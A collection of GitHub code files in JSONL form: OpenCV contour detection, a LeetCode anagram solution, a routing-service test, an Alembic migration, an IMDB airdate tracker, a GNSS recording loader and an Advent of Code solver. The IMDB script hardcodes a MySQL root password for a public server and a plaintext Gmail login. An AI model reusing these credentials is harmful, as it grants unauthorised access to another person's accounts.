+{"seq_id":"31828740867","text":"import cv2\nimport numpy as np\n\nm1 = cv2.imread(\"./3d-green-letter-o.png\", 0)\nm2 = cv2.cvtColor(m1, cv2.COLOR_BAYER_BG2GRAY) #弄成灰階\n#m2圖設定門檻值為127, 及二值化後的最大值是255, 超過127的像素設為255, 低於127的像素設為0,\nth, m2 = cv2.threshold(m2, 127, 255, cv2.THRESH_BINARY|cv2.THRESH_OTSU)\n#cv2.RETR_TREE儲存所有輪廓及對應資料, cv2.CHAIN_APPROX_NONE儲存所有輪廓點\nct, th = cv2.findContours(m2, cv2.RETR_TREE, cv2.CHAIN_APPROX_NONE)\nprint(\"輪廓點是:\", ct)\nprint(\"輪廓階層資料:\", th)\n\n# #繪製輪廓,\n# m3 = np.full(m1.shape, 255, np.uint8)\n# #畫m3圖 ct存取全部輪廓索引, -1 是所有輪廓都畫, (0,0,255)用紅色, 粗細度2\n# #相臨輪廓:輪廓在旁邊沒有把它包起來, 包覆:外面的輪廓包含住裏面的輪廓\n# cv2.drawContours(m3, ct, 2, (0,0,255), 2)\n#\n# cv2.imshow(\"m1\", m1)\n# cv2.imshow(\"m3\", m3)\n# cv2.waitKey(0)\n# cv2.destroyAllWindows()\n\n#取輪廓點:\nm3 = np.full(m1.shape, 255, np.uint8)\nfor d in range(0, len(ct)):\n x, y, w, h = cv2.boundingRect(ct[d])\n if w < m1.shape[1]*0.3: #m1.shpe[1]是指圖像的寬的0.2倍. m3裏面物體的寬度小於原圖的20%就取輪廓\n cv2.rectangle(m1,(x,y), (x+w, y+h), (0,0,255), 2) #畫一個矩形.\n #cv2.drawContours(m3, ct, d, (0,0,255), 2)\ncv2.imshow(\"m3\", m3)\ncv2.imshow(\"m1\", m1)\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n\n#取輪廓點\nm1 = cv2.imread(\"./3d-green-letter-o.png\", 0)\nth, m2 = cv2.threshold(m2, 240, 255, cv2.THRESH_BINARY|cv2.THRESH_OTSU)\nm3 = np.full(m1.shape, 255, np.uint8)\nfor d in range(0, len(ct)):\n x, y, w, h = cv2.boundingRect(ct[d])\n if w>h*2:\n cv2.imshow(\"m3\"+str(d), m1[y:y+h, x:x+w])\n cv2.rectangle(m1, (x,y), (x+w, y+h), (0,0,255), 2)\n\ncv2.imshow(\"m3\", m3)\ncv2.imshow(\"m1\", m1)\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n","repo_name":"Nier1112/tibame_AI02","sub_path":"Python Basic/py0418_OpenCV_bound_2.py","file_name":"py0418_OpenCV_bound_2.py","file_ext":"py","file_size_in_byte":1841,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"7062045365","text":"class Solution:\n def groupAnagrams(self, strs: List[str]) -> List[List[str]]:\n if len(strs) == 1:\n return [strs]\n anagrams = dict()\n for i in strs:\n count = [0] * 26\n for c in i:\n count[ord(c) - ord('a')] += 1\n key = str(count)\n if key not in anagrams:\n anagrams[key] = [i]\n else:\n anagrams[key].append(i)\n return anagrams.values()","repo_name":"nadeemakhter0602/LeetCode","sub_path":"Group Anagrams/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":473,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"459047629","text":"from datetime import datetime\n\nimport pytest\n\nfrom travel.rasp.pathfinder_maps.const import MSK_TZ\nfrom travel.rasp.pathfinder_maps.models.variant import Variant\nfrom travel.rasp.pathfinder_maps.services.morda_backend_service import MordaBackendService\nfrom travel.rasp.pathfinder_maps.tests.utils import MordaBackendClientStub, create_route\nfrom travel.rasp.pathfinder_maps.tests.utils.fixtures import ( # noqa: F401\n ekb_station, moscow_station, saratov_station, protobuf_data_provider\n)\n\n\n@pytest.mark.asyncio\nasync def test_morda_backend_service_search(ekb_station, moscow_station, saratov_station, protobuf_data_provider): # noqa: F811\n values = 'station', 2000005, 'settlement', 54, datetime(2020, 2, 7, 20, 31, 53, tzinfo=MSK_TZ)\n keys = 'from_type', 'from_id', 'to_type', 'to_id', 'date'\n query = dict(zip(keys, values))\n\n thread_info_1 = [578026383, '047Й', 1, (2000005, 9623135), [2000005, 9623135]]\n thread_info_2 = [597522912, '105Ж', 1, (9623135, 9607404), [9623135, 9607404]]\n\n client = MordaBackendClientStub({\n values: [\n Variant([\n create_route(\n '047J_0_2',\n datetime(2020, 2, 8, 13, 44), 2000005,\n datetime(2020, 2, 9, 5, 29), 9623135,\n thread_info_1\n ),\n create_route(\n '105ZH_1_2',\n datetime(2020, 2, 9, 7, 0), 9623135,\n datetime(2020, 2, 10, 14, 20), 9607404,\n thread_info_2\n )\n ])]\n })\n\n morda_backend_service = MordaBackendService(client, protobuf_data_provider)\n\n variants = await morda_backend_service.search(query)\n assert len(variants) == 1\n\n routes = variants[0].routes\n assert len(routes) == 3\n\n reference_stations = [\n [moscow_station, saratov_station],\n [saratov_station, saratov_station],\n [saratov_station, ekb_station]\n ]\n res_stations = [[x.departure_station, x.arrival_station] for x in routes]\n\n for (reference_arrival, reference_departure), (res_arrival, res_departure) in zip(reference_stations, res_stations):\n assert res_arrival == reference_arrival\n assert res_departure == reference_departure\n","repo_name":"Alexander-Berg/2022-test-examples-3","sub_path":"travel/test_services/test_morda_backend_service.py","file_name":"test_morda_backend_service.py","file_ext":"py","file_size_in_byte":2268,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"23479037541","text":"\"\"\"add_tnx_hash_to_order\n\nRevision ID: 216052c25c8c\nRevises: c16a0c0f2053\nCreate Date: 2023-07-19 11:16:50.976221\n\n\"\"\"\nimport sqlalchemy as sa\nfrom alembic import op\n\n# revision identifiers, used by Alembic.\nrevision = \"216052c25c8c\"\ndown_revision = \"c16a0c0f2053\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade() -> None:\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column(\"order\", sa.Column(\"tnx_hash\", sa.String(length=66), nullable=False))\n # ### end Alembic commands ###\n\n\ndef downgrade() -> None:\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column(\"order\", \"tnx_hash\")\n # ### end Alembic commands ###\n","repo_name":"Vlad-Tsaryk/CryptoWallet","sub_path":"alembic/versions/2023-07-19_11:16_add_tnx_hash_to_order.py","file_name":"2023-07-19_11:16_add_tnx_hash_to_order.py","file_ext":"py","file_size_in_byte":686,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"73715167912","text":"import MySQLdb\nfrom bs4 import BeautifulSoup\nimport requests\nimport pandas as pd\nimport datetime\nimport calendar\nimport json\nfrom warnings import filterwarnings\nimport smtplib\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.text import MIMEText\n\nfilterwarnings('ignore', category = MySQLdb.Warning)\n\ndef add_user_data(Email, Tv_series) :\n\t\"\"\"This method stores the Email and subscription of opted TV series in MySqlDB database.\n\t:param Email : The email address of the subscriber.\n\t:param Tv_series: String of Subscribed TV series separated by comma(, ).\n\t:return: returns nothing\"\"\"\n\n\ttry: \n\t\t#Establishing connection with the database server. \n\t\tdb_connection= MySQLdb.connect(host=\"139.59.91.20\",port=3306,user=\"root\",passwd=\"agnihotri987\",db=\"imdb\")\n\texcept: \n\t\tprint(\"Can't connect to database\") \n\t\treturn 0\n\n\t#Creating a cursor\n\tcursor=db_connection.cursor()\n\t\n\t# cursor.execute('DROP TABLE IF EXISTS imdb.user_table;') \n\tcursor.execute('CREATE TABLE IF NOT EXISTS imdb.user_table(\\\n\t\t\t\t\t\temail LONGTEXT NOT NULL,\\\n\t\t\t\t\t\ttv_series LONGTEXT NOT NULL);') \n\t\n\t#query execution\n\tcursor.execute(\"INSERT INTO imdb.user_table( email, tv_series)\" \"VALUES(%s, %s);\",(Email, Tv_series,))\n\t\n\t#commiting the current transaction\n\tdb_connection.commit()\n\n\t#close database connection\n\tdb_connection.close()\n\n\n\ndef findTitleId(tv_series_name):\n\t\"\"\"This method return the hashed TitleId of the TV series by searching in imdb dataset\"\"\"\n\t#Trying to connect \n\ttry: \n\t\tdb_connection= MySQLdb.connect(host=\"139.59.91.20\",port=3306,user=\"root\",passwd=\"agnihotri987\",db=\"imdb\") \n\t# If connection is not successful \n\texcept: \n\t\tprint(\"Can't connect to database\") \n\t\treturn 0\n\t# If Connection Is Successful \n\t#print(\"Connected\") \n \n\t# Making Cursor Object For Query Execution \n\tcursor=db_connection.cursor() \n \n\t# Executing Query \n\tcursor.execute(\"SELECT titleId FROM imdb.akas WHERE LOWER(title)=%s order by types asc;\",(tv_series_name,))\n\t\n\t# Fetching Data \n\tm = cursor.fetchall() \n \t\n\t# Closing Database Connection \n\tdb_connection.close() \n\treturn m\n\n\ndef getFinalTitleId(titleIdList) :\n\t\"\"\" This method searched all title Id's in titleIdList sequentially and return a title Id if it is a TV series\n\t:param titleIdList: Contains list of all candidate title Id's of TV series, TV series episodes and movies with same name\n\t:return : return a string consisting of titleId of a TV series\"\"\"\n\tfinalTitleId = \"\"\n\t\t\t\n\tfor titleId in titleIdList :\n\t\t#For each title in titleIdList check if it is a TV series\n\t\t#link : stores Hyperlink of movie or TV series generated with titleId\n\t\tlink = \"https://www.imdb.com/title/\"+titleId[0]\n\t\t\n\t\tfound = False\n\t\twhile not found :\n\t\t\t#page: HTML content of website of the TV series or movie.\n\t\t\tpage = requests.get(link)\n\t\t\tif(page.ok) :\n\t\t\t\tfound = True\n\n\t\t#soup : BeautifulSoup object of html content of the website of TV series or movie.\n\t\tsoup = BeautifulSoup(page.content, 'html.parser')\n\t\t\n\t\t#jsonText : BeautifulSoup object of json searched of the html content.\n\t\tjsonText = soup.find('script' , type=\"application/ld+json\").get_text()\n\t\t\n\t\t#jsonData : Extract json object. \n\t\tjsonData = json.loads(jsonText)\n\t\t\n\t\t#if the link is of TV series then it is finalTitleId.\n\t\tif jsonData['@type'] == \"TVSeries\" :\n\t\t\tfinalTitleId = titleId[0]\n\t\t\tbreak\n\treturn finalTitleId\n\ndef convertDateinFormat(date) :\n\t\"\"\"This method converts the date of form \"15 Jan. 2019\" or \"2019\" to datetime object for comparing with current date and time.\n\t:param date : Date in the form of string.\n\t:return : Returns datetime object for the input date.\"\"\"\n\t\n\t#Dictionary of months abbreviation name with their respective numbers i.e. months_dict[Jan]=1, months_dict[Feb]=2 \n\tmonths_dict = {abbr: num for num,abbr in enumerate(calendar.month_abbr)}\n\t\n\t#Separating Days, Months and Years and storing it in a list date_list.\n\tdate_list = date.split(\" \")\n\t\n\tif(len(date_list) == 1) :\n\t\t#When only year is present\n\t\tday = \"1\"\n\t\tmonth_abr = \"Jan\"\n\t\tyear = date_list[0]\n\telif(len(date_list) == 2) :\n\t\t#When month and year is present\n\t\tday = \"1\"\n\t\tmonth_abr = date_list[0]\n\t\tyear = date_list[1]\n\t\tmonth_abr = month_abr.strip(\".\")\n\telse :\n\t\t#When day, month and year all are present\n\t\tday, month_abr, year = map(str,date_list)\n\t\tmonth_abr = month_abr.strip(\".\")\n\tmonth = months_dict[month_abr]\n\t#month stores the respective number representation for the month.\n\treturn datetime.datetime(int(year), month, int(day))\n\ndef scrapeAirDates (link) :\n\t\"\"\"This method scraped airdates of episode of latest season of a TV series\n\t:param link : Hyperlink of the webpage to be scraped\n\t:return : returns pandas object containing airdates of episode of latest season\"\"\"\n\tfound = False\n\twhile not found :\n\t\ttv_series_page = requests.get(link)\n\t\tif(tv_series_page.ok) :\n\t\t\tfound = True\n\n\t#soup1 : BeautifulSoup object of html content of the imdb TV series website\n\tsoup1 = BeautifulSoup(tv_series_page.content, 'html.parser')\n\n\t#episode_widget : extracting all div tags with particular id.\n\tepisode_widget = soup1.find('div', id='title-episode-widget')\n\n\t#a_tag = Extracting first a tag i.e. which contains the hyperlink of latest season\n\ta_tag = episode_widget.find('a')\n\n\thref = a_tag['href']\n\t\n\tfound = False\n\twhile not found :\n\t\tepisode_page = requests.get(\"https://www.imdb.com\"+href)\n\t\tif(episode_page.ok) :\n\t\t\tfound = True\n\n\t# print(\"https://www.imdb.com\"+href)\n\tsoup2 = BeautifulSoup(episode_page.content, 'html.parser')\n\n\t#div_airdate : Extracting all div tags with class as airdates\n\tdiv_airdate = soup2.select(\"div .airdate\")\n\t\n\t#list containing all airdates\n\tairdates = []\n\t\n\t#list containing all airdates\n\tfor ad in div_airdate :\n\t\t#For each div tag extract its content i.e. airdate.\n\t\tairdate = ad.get_text().strip()\n\t\tif(airdate) :\n\t\t\tairdates.append(airdate)\n\t\n\t#pd_airdates : Pandas object for all airdates\n\tpd_airdates = pd.DataFrame({\"airdate\" : airdates})\n\treturn pd_airdates\n\n\ndef getAirdateStatus(pd_airdates, dim, CurrentDate) :\n\t\"\"\" This method Compares the Expected date of the episodes with the Current date and tells the status airdate of the TV series \n\t:param pd_airdates : Pandas object storing the airdates of all episodes of last season of a TV series\n\t:param dim : num of rows of pd_airdates pandas object\n\t:param CurrentDate : Current date as datetime object \n\t:return : returns a string consisting of status of the TV series\n\t\"\"\"\n\tmsg_status = \"\"\n\tflag = True\n\tfor index in range(dim) :\n\t\t\"\"\"For airdate of each episode of the latest season check -\n\t\t\t-(Finished streaming all episodes)whether all airdates are less than current date\n\t\t\t-(Next episode Release date)whether there exists an episode with an airdate more than current date and it is not first episode\n\t\t\t-(Next season Release date)whether the first episode has airdate for than curret date\"\"\"\n\t\tdate = pd_airdates.iloc[index,0]\n\t\tDate = date.split()\n\t\tExpectedDate = convertDateinFormat(date)\n\t\t# print(ExpectedDate)\n\t\tif(ExpectedDate > CurrentDate) :\n\t\t\tflag = False\n\t\t\tif(index == 0) :\n\t\t\t\tmsg_status = msg_status + \"The next season begins in \" + date +\".\\n\"\n\t\t\telse :\n\t\t\t\tmsg_status = msg_status + \"Next episode airs on \" + date + \".\\n\"\n\t\t\tbreak\n\t\telif(len(Date) == 1) and (datetime.date.today().year == int(date) ) :\n\t\t\tflag = False\n\t\t\tif(index == 0) :\n\t\t\t\tmsg_status = msg_status + \"The next season begins in \" + date +\".\\n\"\n\t\t\telse :\n\t\t\t\tmsg_status = msg_status + \"Next episode airs on \" + date + \".\\n\"\n\t\t\tbreak\n\t\t\t\n\tif(flag) :\n\t\tmsg_status = msg_status + \"The show has finished streaming all its episodes.\" + \"\\n\"\n\n\treturn msg_status\n\n\ndef send_email(EmailId, message) :\n\t\"\"\"This method sends email using smtp gmail account \n\t:param EmailId : Email address of the user\n\t:param message : the message which is send over email\"\"\"\n\n\t# create message object instance\n\tmsg_obj = MIMEMultipart()\n\t \n\t# setup the parameters of the message\n\tpassword = \"Ayushhsuya1671\"\n\tmsg_obj['From'] = \"iim2015004ayush@gmail.com\"\n\tmsg_obj['To'] = EmailId\n\tmsg_obj['Subject'] = \"Subscription\"\n\t \n\t# add in the message body\n\tmsg_obj.attach(MIMEText(message, 'plain'))\n\t \n\t#create server\n\tserver = smtplib.SMTP('smtp.gmail.com', 587)\n\t\n\t#starting tls server\n\tserver.starttls()\n\t \n\t# Login Credentials for sending the mail\n\tserver.login(msg_obj['From'], password)\n\t \n\t \n\t# send the message via the server.\n\tserver.sendmail(msg_obj['From'], msg_obj['To'], msg_obj.as_string())\n\t\n\t#Exiting the mail server.\n\tserver.quit()\n\t\n\t#Output message\n\tprint(\"Successfully sent email to %s:\" % (msg_obj['To']))\n\n\ndef main() :\n\t\"\"\" Main method to take Inputs as - Number of users and for each user - its email address and list of TV series subscribed.\n\t:return : Returns nothing\"\"\"\n\tprint(\"Enter number of users :\")\n\tnum_of_users = int(input())\n\t\n\t#data : a list of lists of user data[email,tv_series].\n\tdata = []\n\n\t#taking input as Email and TV series for num_of_users \n\twhile num_of_users > 0 :\n\t\tnum_of_users = num_of_users - 1\n\t\tprint()\n\t\tprint(\"Email address :\", end=\" \")\n\t\temail = input()\n\t\tprint(\"TV Series :\", end=\" \")\n\t\ttvSeriesList = input()\n\n\t\t#adds data of a user to the database.\n\t\tadd_user_data(email,tvSeriesList)\n\t\tdata.append([email, tvSeriesList])\n\t\t\n\t#CurrentDate : datetime object for current date.\n\tCurrentDate = datetime.datetime.now()\n\t\t\t\t\t\n\tfor row in data :\n\t\t#For each user search status of all its subscribed TV series\n\t\tEmailId = row[0]\n\t\tmsg = \"\"\n\t\ttvSeriesList = row[1].split(\",\")\n\t\t#tvSeriesList : contains all the Tv series subscribed by a user in form of a list.\n\t\t\n\t\tfor tv_series in tvSeriesList :\n\t\t\ttv_series = tv_series.strip()\n\t\t\t\n\t\t\tmsg_tv_series = \"Tv series name: \" + tv_series + \"\\n\"\n\t\t\tmsg_status = \"Status: \"\n\t\t\t\n\t\t\t#titleIdList : list of all candidate title Id's from IMDB dataset for TV series, its episodes and movies with similar names.\n\t\t\ttitleIdList = findTitleId(tv_series.lower())\n\t\t\t\n\t\t\t#finalTitleId : stores the titleId of finalized TV series \n\t\t\tfinalTitleId = getFinalTitleId(titleIdList)\n\n\t\t\tif(finalTitleId) :\n\t\t\t\tlink = \"https://www.imdb.com/title/\" + finalTitleId\n\t\t\t\t\n\t\t\t\t#pd_airdates : pandas object containing airdates of episode of latest season\n\t\t\t\tpd_airdates = scrapeAirDates(link)\n\t\t\t\t\n\t\t\t\t#dim : Dimensions of pandas object pd_airdates\n\t\t\t\tdim = pd_airdates.shape[0]\n\n\t\t\t\t#msg_status : Status of release date of TV series\n\t\t\t\tmsg_status = getAirdateStatus(pd_airdates, dim, CurrentDate)\n\n\t\t\tmsg = msg + (msg_tv_series + msg_status + \"\\n\")\t\n\n\t\tprint(EmailId)\n\t\tprint(msg)\n\n\t\tsend_email(EmailId, msg)\n\nif __name__ == '__main__':\n\tmain()","repo_name":"AyushAgnihotri/Entertainment-tracker","sub_path":"Approach1/Approach1.py","file_name":"Approach1.py","file_ext":"py","file_size_in_byte":10464,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"38780185063","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Jun 26 20:10:23 2021\n\n@author: demust\n\"\"\"\n\nimport sqlite3 as sql\nimport gpxpy\nimport pandas as pd\nimport numpy as np\n\nfrom geopy.distance import distance as gdist\nfrom geopy.point import Point\n\nimport sys\nimport os\n\n\n\"\"\"PATH\"\"\"\n\ndatabase_dir = \"Database/\"\ndatabase_name = \"GNSS recordings.db\"\nrecordings_dir = \"GNSS recordings/\"\nlist_of_recordings = \"listOfRecordings.csv\"\n\nif not os.path.exists(database_dir):\n os.makedirs(database_dir)\n\ndatabase_path = os.path.join(database_dir, database_name)\nrecordings_path = os.path.join(database_dir, recordings_dir)\n\nGNSS_files = [\n f for f in os.listdir(os.path.join(database_dir, recordings_dir)) if os.path.isfile(os.path.join(database_dir, recordings_dir, f))\n]\nGNSS_files.sort()\n\n\"\"\"Main simulation class\"\"\"\n\n\ndef main():\n \"\"\"Calling simulation model.\"\"\"\n\n Model.initDatabase(database_path, GNSS_files, list_of_recordings)\n Model.loadRealization(recordings_path)\n Model.calcRawRealization()\n Model.saveToDatabase(database_path)\n\n\n\"\"\"Simulation model\"\"\"\n\n\nclass Realizations:\n \"\"\"Class definition for storing GNSS data.\"\"\"\n\n def __init__(self):\n self.rawRealizations = []\n self.newRecordings = pd.DataFrame()\n\n def initDatabase(self, dbPath, fileList, listOfRecs):\n \"\"\"Check input data interity, open connection to database and check database integrity. Generate list of new files.\"\"\"\n try:\n df_recs = pd.read_csv(listOfRecs)\n self.newRecordings = self.newRecordings.reindex(\n columns=df_recs.columns)\n except FileNotFoundError:\n print(f\"{listOfRecs} initDatabase: File not found!\")\n sys.exit()\n\n for each in fileList:\n entryCounter = df_recs.fileName.str.contains(each).sum()\n if entryCounter == 0:\n print(f\"No entry for {each}\")\n if entryCounter == 1:\n self.newRecordings = self.newRecordings.append(\n df_recs[df_recs.fileName == each])\n if entryCounter > 1:\n print(f\"Duplicate entry for {each}\")\n\n for each in df_recs.fileName:\n if not any(each in x for x in fileList):\n print(f\"No file found for {each}\")\n\n con = sql.connect(dbPath)\n try:\n db_recs = pd.read_sql(\"\"\"SELECT * FROM listOfRecordings\"\"\", con)\n except pd.io.sql.DatabaseError:\n con.execute(\"\"\"CREATE TABLE listOfRecordings (\n id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,\n fileName TEXT,\n recType TEXT,\n dateTime DATETIME,\n fromStation TEXT,\n toStation TEXT,\n trainConfig TEXT,\n trainType TEXT,\n receiverType TEXT);\"\"\")\n con.commit()\n db_recs = pd.read_sql(\"\"\"SELECT * FROM listOfRecordings\"\"\", con)\n\n con.close()\n pd.set_option('display.max_columns', None)\n print(\"Database content:\")\n print(db_recs)\n\n print(\n f\"\\nChecking integrity of database with {listOfRecs}\")\n db_recs.drop(columns='id', inplace=True)\n for each in db_recs.fileName:\n posf = df_recs.loc[df_recs.fileName == each]\n posd = db_recs.loc[db_recs.fileName == each]\n\n if (posf.iloc[0] != posd.iloc[0]).any():\n print(f\"Inconsistency found: {each}\")\n\n for each in db_recs.fileName:\n if any(each in x for x in self.newRecordings.fileName):\n self.newRecordings.drop(\n self.newRecordings.loc[self.newRecordings.fileName == each].index, inplace=True)\n\n if not self.newRecordings.empty:\n print(\"\\nNew recordings found:\")\n print(self.newRecordings)\n ans = input(\"\\nContinue with database update? (y/n): \")\n if ans == 'y' or ans == 'Y' or ans == '':\n print(\"\\nUpdating database.\\n\")\n else:\n print(\"\\nExiting.\\n\")\n sys.exit()\n else:\n print(\"\\nDatabase is up to date.\\n\")\n sys.exit()\n\n def loadRealization(self, recPath):\n \"\"\"Load and calculate GNSS data from file.\"\"\"\n print(\"Loading GNSS data:\")\n for file_idx, file_instance in enumerate(self.newRecordings.fileName):\n file = os.path.join(recPath, file_instance)\n self.rawRealizations.append(\n pd.DataFrame(\n columns=[\n \"trackName\",\n \"lon\",\n \"lat\",\n \"alt\",\n \"hdop\",\n \"vdop\",\n \"pdop\",\n \"nSAT\",\n \"v\",\n \"t\",\n \"s\",\n \"a\",\n ]\n )\n )\n\n if file_instance.endswith(\"UBX.CSV\") or file_instance.endswith(\"UBX.csv\") or file_instance.startswith(\"UBX\"):\n try:\n fileType = \"UBX\"\n samplingFreq = 5\n df = pd.read_csv(file)\n except FileNotFoundError:\n print(f\"{file_instance} Track data: File not found!\")\n sys.exit()\n elif file_instance.endswith(\"PMTK.CSV\") or file_instance.endswith(\"PMTK.csv\") or file_instance.startswith(\"PMTK\"):\n try:\n fileType = \"PMTK\"\n samplingFreq = 10\n df = pd.read_csv(file)\n except FileNotFoundError:\n print(f\"{file_instance} Track data: File not found!\")\n sys.exit()\n elif file_instance.endswith(\".gpx\"):\n try:\n fileType = \"GPX\"\n samplingFreq = 1\n gpx_file = open(file, \"r\")\n gpx = gpxpy.parse(gpx_file)\n except FileNotFoundError:\n print(f\"{file_instance} Track data: File not found!\")\n sys.exit()\n else:\n print(f\"Unknown file format {file_instance}!\")\n sys.exit()\n\n if fileType == \"UBX\":\n t0 = df.Hour.iloc[0] * 3600 + \\\n df.Minute.iloc[0] * 60 + df.Second.iloc[0]\n self.rawRealizations[-1].lon = df.Lon / 1.0e7\n self.rawRealizations[-1].lat = df.Lat / 1.0e7\n self.rawRealizations[-1].alt = df.Alt2 / 1.0e3\n self.rawRealizations[-1].hdop = 0.0\n self.rawRealizations[-1].vdop = 0.0\n self.rawRealizations[-1].pdop = df.PDOP / 1.0e2\n self.rawRealizations[-1].nSAT = df.nSAT\n self.rawRealizations[-1].v = df.speed / 1.0e3\n self.rawRealizations[-1].t = (\n df.Hour * 3600 + df.Minute * 60 + df.Second - t0\n )\n elif fileType == \"PMTK\":\n t0 = df.Hour.iloc[0] * 3600 + \\\n df.Minute.iloc[0] * 60 + df.Second.iloc[0]\n self.rawRealizations[-1].lon = df.Lon\n self.rawRealizations[-1].lat = df.Lat\n self.rawRealizations[-1].alt = df.Alt\n self.rawRealizations[-1].hdop = df.hDOP / 100\n self.rawRealizations[-1].vdop = 0.0\n self.rawRealizations[-1].pdop = 0.0\n self.rawRealizations[-1].nSAT = df.nSAT\n self.rawRealizations[-1].v = df.Speed\n self.rawRealizations[-1].t = (\n df.Hour * 3600 + df.Minute * 60 + df.Second - t0\n )\n elif fileType == \"GPX\":\n segment = gpx.tracks[0].segments[0]\n self.rawRealizations[-1].lon = [x.longitude for x in segment.points]\n self.rawRealizations[-1].lat = [x.latitude for x in segment.points]\n self.rawRealizations[-1].alt = [x.elevation for x in segment.points]\n self.rawRealizations[-1].hdop = [\n x.horizontal_dilution for x in segment.points]\n self.rawRealizations[-1].vdop = [\n x.vertical_dilution for x in segment.points]\n self.rawRealizations[-1].pdop = 0.0\n self.rawRealizations[-1].nSAT = 0.0\n self.rawRealizations[-1].t = [x.time_difference(\n segment.points[0]) for x in segment.points]\n self.rawRealizations[-1].v = [x.speed for x in segment.points]\n gpx_file.close()\n\n self.rawRealizations[-1].s = 0.0\n self.rawRealizations[-1].a = np.nan\n self.rawRealizations[-1][\"trackName\"] = file_instance\n\n df_t = self.rawRealizations[-1].t.copy().astype(float).to_numpy()\n for i in range(samplingFreq-1):\n cond = df_t[1:] == df_t[:-1]\n cond = np.insert(cond, 0, False)\n df_t[cond] += 1 / samplingFreq\n self.rawRealizations[-1].t = df_t\n\n point_no = len(self.rawRealizations[-1].index)\n print(f\"\\t\\tLoaded {point_no} points from file {file_instance}\")\n\n def calcRawRealization(self):\n \"\"\"Calculate basic data for rawRealizations.\"\"\"\n print(\"Calculating missing raw data:\")\n for each in self.rawRealizations:\n df_lat = each.lat.copy().astype(float).to_numpy()\n df_lon = each.lon.copy().astype(float).to_numpy()\n df_alt = each.alt.copy().astype(float).to_numpy()\n node1 = list(map(Point, zip(df_lat[1:], df_lon[1:])))\n node2 = list(map(Point, zip(df_lat[:-1], df_lon[:-1])))\n dist = [x.m for x in list(map(gdist, node1, node2))]\n dist = np.sqrt(np.array(dist) ** 2 +\n (df_alt[1:] - df_alt[:-1]) ** 2)\n dist = np.insert(dist, 0, 0.0)\n each.s = np.cumsum(dist)\n\n cond = each.t.shift() != each.t\n\n if each.v.isna().any():\n vel = each.v.copy()\n vel.loc[cond] = np.gradient(each.s.loc[cond], each.t.loc[cond])\n vel.fillna(method='ffill', inplace=True)\n each.v = vel\n acc = each.a.copy()\n acc.loc[cond] = np.gradient(each.v.loc[cond], each.t.loc[cond])\n acc.fillna(method='ffill', inplace=True)\n each.a = acc\n each.s /= 1000\n each.v *= 3.6\n\n print(each.head())\n print(\"Missing raw data calculation done.\\n\")\n\n def saveToDatabase(self, db_path):\n con = sql.connect(db_path)\n print(\"Uploading raw realizations to database:\")\n for each in self.rawRealizations:\n print(f\"\\t\\tUploading {each['trackName'].iloc[0]} to database.\")\n each.to_sql(each['trackName'].iloc[0], con,\n if_exists='replace', index=False)\n print(\"Uploading new entries to database recordings list.\")\n self.newRecordings.to_sql(\n 'listOfRecordings', con, if_exists='append', index=False)\n con.close()\n\n\n\"\"\"Calling simulation model to calculate.\"\"\"\nModel = Realizations()\nmain()\n\"\"\"EOF\"\"\"\n","repo_name":"demustamas/Route-profile-recording","sub_path":"GNSS track data/GNSS_input.py","file_name":"GNSS_input.py","file_ext":"py","file_size_in_byte":11303,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
+{"seq_id":"20728238161","text":"from collections import Counter\n\ndef readInput():\n\twith open('./day12Input.txt', 'r') as f:\n\t\tdata = f.readlines()\n\n\tmap = []\n\tfor node1, node2 in [x.strip().split('-') for x in data]:\n\t\tif node1 == 'start' or node2 == 'end':\n\t\t\tmap.append((node1,node2))\n\t\telif node1 == 'end' or node2 == 'start':\n\t\t\tmap.append((node2,node1))\n\t\telse:\n\t\t\tmap.append((node1,node2))\n\t\t\tmap.append((node2,node1))\n\n\treturn map\n\ndef recur(map, root, currentPath=[], paths=[]):\n\t#append current node\n\tcurrentPath.append(root)\n\n\tif root == 'end':\n\t\tpaths.append(currentPath)\n\n\telif root.isupper() or (root.islower() and root not in currentPath[:-1]):\n\t\tnextNodes = [x[1] for x in map if (x[0]==root)]\n\t\tfor next in nextNodes:\n\t\t\t#make new path copy due to branching\n\t\t\tnextPath = currentPath[:]\n\t\t\trecur(map, next, nextPath, paths)\n\n\t#all done!\n\treturn paths\n\ndef recur2(map, root, currentPath=[], paths=[]):\n\t#append current node\n\tcurrentPath.append(root)\n\n\tif root == 'end':\n\t\tpaths.append(currentPath)\n\n\telif root.isupper() or (root.islower() and len([x for x in dict(Counter([y for y in currentPath[:-1] if y.islower()])).values() if x > 1])==0) or (root.islower() and root not in currentPath[:-1]):\n\t\tnextNodes = [x[1] for x in map if (x[0]==root)]\n\t\tfor next in nextNodes:\n\t\t\t#make new path copy due to branching\n\t\t\tnextPath = currentPath[:]\n\t\t\trecur2(map, next, nextPath, paths)\n\n\t#all done!\n\treturn paths\n\ndef part1():\n\t#enumerate all paths that pass through small caves at most 1 time\n\t#probably going to need recursion\n\n\tmap = readInput()\n\n\tpaths = recur(map, 'start')\n\n\tprint('\\nThere are {} unique paths from start to finish.'.format(len(paths)))\n\ndef part2():\n\t#allowed 1 revisit to a small cave -- keep a global variable representing revisits to small caves\n\n\tmap = readInput()\n\n\tpaths = recur2(map, 'start')\n\n\tprint('\\nThere are {} unique paths from start to finish.'.format(len(paths)))\n\nif __name__ == \"__main__\":\n\tpart1()\n\tpart2()","repo_name":"brendanbikes/adventOfCode2021","sub_path":"day12/day12Code.py","file_name":"day12Code.py","file_ext":"py","file_size_in_byte":1924,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
